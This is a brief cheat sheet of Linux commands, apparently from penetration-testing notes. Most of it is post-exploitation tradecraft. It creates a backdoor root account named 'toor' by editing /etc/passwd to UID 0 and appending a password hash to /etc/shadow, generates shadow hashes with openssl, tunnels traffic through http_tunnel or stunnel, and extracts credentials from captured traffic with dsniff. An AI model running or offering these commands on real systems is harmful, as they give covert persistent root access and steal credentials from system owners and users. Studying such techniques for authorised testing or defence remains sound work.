Useful Linux Commands
  • adduser --no-create-home --shell /bin/bash toor sed -i 's/toor:x:1001:1001/toor:x:0:0/' /etc/passwdorecho "toor:x:0:0::/tmp:/bin/sh" >> /etc/passwd echo "toor:23MdZN/rsVdLg:16673:0:99999:7:::" >> /etc/shadow
  • Create Hashes for /etc/shadow:openssl passwd -salt 234 <password>
  • Traffic encapsulation
    Through http: http_tunnel
    Through SSL: stunnel
  • Get credentials in captured traffic:dsniff -p <capturefile>